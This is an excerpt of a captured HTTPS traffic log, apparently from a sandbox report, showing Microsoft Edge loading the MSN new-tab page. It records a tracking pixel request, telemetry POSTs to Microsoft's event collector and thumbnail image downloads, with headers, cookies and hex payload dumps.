2024-11-18 12:29:34 UTC	1271	OUT	GET /c.gif?rnd=1731932970277&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=6d6da51eb454486787bbdab97894ab08&activityId=6d6da51eb454486787bbdab97894ab08&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=EEB5D52EEE804A698232082BFDC35C3E&MUID=12002C73CB2660100B753948CA036107 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=12002C73CB2660100B753948CA036107; _EDGE_S=F=1&SID=1A5323B1D07C6E0936DB368AD1AF6FD4; _EDGE_V=1; SM=T; _C_ETH=1
2024-11-18 12:29:34 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 06:33:28 GMT Accept-Ranges: bytes ETag: "b116c54f951fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=12002C73CB2660100B753948CA036107; domain=.msn.com; expires=Sat, 13-Dec-2025 12:29:34 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=12002C73CB2660100B753948CA036107; domain=c.msn.com; expires=Sat, 13-Dec-2025 12:29:34 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Mon, 25-Nov-2024 12:29:34 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Mon, 18-Nov-2024 12:39:34 GMT; path=/; SameSite=None; Secure; Date: Mon, 18 Nov 2024 12:29:34 GMT Connection: close Content-Length: 42
2024-11-18 12:29:34 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.8	49823	40.79.173.41	443	3832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:29:35 UTC	1036	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731932972746&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 10935 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=12002C73CB2660100B753948CA036107; _EDGE_S=F=1&SID=1A5323B1D07C6E0936DB368AD1AF6FD4; _EDGE_V=1; _C_ETH=1
2024-11-18 12:29:35 UTC	10935	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 38 54 31 32 3a 32 39 3a 33 32 2e 37 34 33 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 30 30 38 63 33 39 37 39 2d 33 65 35 35 2d 34 63 38 62 2d 61 30 36 62 2d 63 31 37 34 64 31 63 38 36 30 62 65 22 2c 22 65 70 6f 63 68 22 3a 22 33 33 35 32 39 35 38 31 34 32 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-18T12:29:32.743Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"008c3979-3e55-4c8b-a06b-c174d1c860be","epoch":"3352958142"},"app":{"locale
2024-11-18 12:29:35 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=00e0374ffd854110928dd65f0241a414&HASH=00e0&LV=202411&V=4&LU=1731932975214; Domain=.microsoft.com; Expires=Tue, 18 Nov 2025 12:29:35 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=a3b45377c110430db885679a764a2448; Domain=.microsoft.com; Expires=Mon, 18 Nov 2024 12:59:35 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2468 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 18 Nov 2024 12:29:35 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.8	49822	40.79.173.41	443	3832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:29:35 UTC	1035	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731932972749&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 4736 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=12002C73CB2660100B753948CA036107; _EDGE_S=F=1&SID=1A5323B1D07C6E0936DB368AD1AF6FD4; _EDGE_V=1; _C_ETH=1
2024-11-18 12:29:35 UTC	4736	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 38 54 31 32 3a 32 39 3a 33 32 2e 37 34 39 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 30 30 38 63 33 39 37 39 2d 33 65 35 35 2d 34 63 38 62 2d 61 30 36 62 2d 63 31 37 34 64 31 63 38 36 30 62 65 22 2c 22 65 70 6f 63 68 22 3a 22 33 33 35 32 39 35 38 31 34 32 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-18T12:29:32.749Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"008c3979-3e55-4c8b-a06b-c174d1c860be","epoch":"3352958142"},"app":{"locale
2024-11-18 12:29:35 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=7963f2a23a454b7da2ecad76db4c9c68&HASH=7963&LV=202411&V=4&LU=1731932975202; Domain=.microsoft.com; Expires=Tue, 18 Nov 2025 12:29:35 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=79f8269f32c94ef4bbd8d0a0283ec449; Domain=.microsoft.com; Expires=Mon, 18 Nov 2024 12:59:35 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2453 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 18 Nov 2024 12:29:34 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.8	49824	40.79.173.41	443	3832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:29:35 UTC	1043	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731932973437&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5284 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=12002C73CB2660100B753948CA036107; _EDGE_S=F=1&SID=1A5323B1D07C6E0936DB368AD1AF6FD4; _EDGE_V=1; msnup=; _C_ETH=1
2024-11-18 12:29:35 UTC	5284	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 38 54 31 32 3a 32 39 3a 33 33 2e 34 33 35 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 30 30 38 63 33 39 37 39 2d 33 65 35 35 2d 34 63 38 62 2d 61 30 36 62 2d 63 31 37 34 64 31 63 38 36 30 62 65 22 2c 22 65 70 6f 63 68 22 3a 22 33 33 35 32 39 35 38 31 34 32 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-18T12:29:33.435Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"008c3979-3e55-4c8b-a06b-c174d1c860be","epoch":"3352958142"},"app":{"locale
2024-11-18 12:29:36 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=01db0d373bca4ec2ae274de64c2e1a99&HASH=01db&LV=202411&V=4&LU=1731932975987; Domain=.microsoft.com; Expires=Tue, 18 Nov 2025 12:29:35 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=3f5d64a158ca499d909d218266c7f1a5; Domain=.microsoft.com; Expires=Mon, 18 Nov 2024 12:59:35 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2550 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 18 Nov 2024 12:29:35 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.8	49825	40.79.173.41	443	3832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:29:36 UTC	1043	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731932973756&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9634 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=12002C73CB2660100B753948CA036107; _EDGE_S=F=1&SID=1A5323B1D07C6E0936DB368AD1AF6FD4; _EDGE_V=1; msnup=; _C_ETH=1
2024-11-18 12:29:36 UTC	9634	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 38 54 31 32 3a 32 39 3a 33 33 2e 37 35 35 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 35 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 30 30 38 63 33 39 37 39 2d 33 65 35 35 2d 34 63 38 62 2d 61 30 36 62 2d 63 31 37 34 64 31 63 38 36 30 62 65 22 2c 22 65 70 6f 63 68 22 3a 22 33 33 35 32 39 35 38 31 34 32 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-11-18T12:29:33.755Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":5,"installId":"008c3979-3e55-4c8b-a06b-c174d1c860be","epoch":"3352958142"},"app":{"loc
2024-11-18 12:29:36 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=4619613ed6244333903da90d31cb28d2&HASH=4619&LV=202411&V=4&LU=1731932976248; Domain=.microsoft.com; Expires=Tue, 18 Nov 2025 12:29:36 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=674623caf6484da586b3b7f24a6a3170; Domain=.microsoft.com; Expires=Mon, 18 Nov 2024 12:59:36 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2492 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 18 Nov 2024 12:29:35 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.8	49826	23.47.50.145	443	3832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:29:38 UTC	506	OUT	GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 12:29:39 UTC	548	IN	HTTP/1.1 200 OK Last-Modified: Wed, 30 Oct 2024 03:19:01 GMT Access-Control-Allow-Origin: * X-Datacenter: northeu X-ActivityId: ae26a430-0b36-4676-91f6-000cb810a9b3 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t X-Source-Length: 822 Content-Length: 4096 Cache-Control: public, max-age=312796 Expires: Fri, 22 Nov 2024 03:22:54 GMT Date: Mon, 18 Nov 2024 12:29:38 GMT Connection: close
2024-11-18 12:29:39 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.8	49827	23.47.50.145	443	3832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:29:39 UTC	506	OUT	GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 12:29:39 UTC	549	IN	HTTP/1.1 200 OK Last-Modified: Wed, 23 Oct 2024 20:31:12 GMT Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t X-Source-Length: 17955 X-Datacenter: eastap X-ActivityId: 53621c4b-f6ac-4e45-8979-9690752d9442 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=158583 Expires: Wed, 20 Nov 2024 08:32:42 GMT Date: Mon, 18 Nov 2024 12:29:39 GMT Connection: close
2024-11-18 12:29:39 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.8	49828	23.47.50.145	443	3832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:29:40 UTC	505	OUT	GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 12:29:40 UTC	548	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 10 Nov 2024 13:37:27 GMT X-Datacenter: eastus X-ActivityId: 646f7dcc-ee57-4b8a-81bd-4a4fe061e30b Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t X-Source-Length: 62552 Content-Length: 8192 Cache-Control: public, max-age=133674 Expires: Wed, 20 Nov 2024 01:37:34 GMT Date: Mon, 18 Nov 2024 12:29:40 GMT Connection: close
2024-11-18 12:29:40 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.8	49830	23.47.50.145	443	3832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:29:41 UTC	505	OUT	GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 12:29:41 UTC	548	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Tue, 12 Nov 2024 13:30:55 GMT X-Datacenter: westus X-ActivityId: d76789f8-3945-49cd-9853-d102590122da Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t X-Source-Length: 95457 Content-Length: 8192 Cache-Control: public, max-age=306077 Expires: Fri, 22 Nov 2024 01:30:58 GMT Date: Mon, 18 Nov 2024 12:29:41 GMT Connection: close
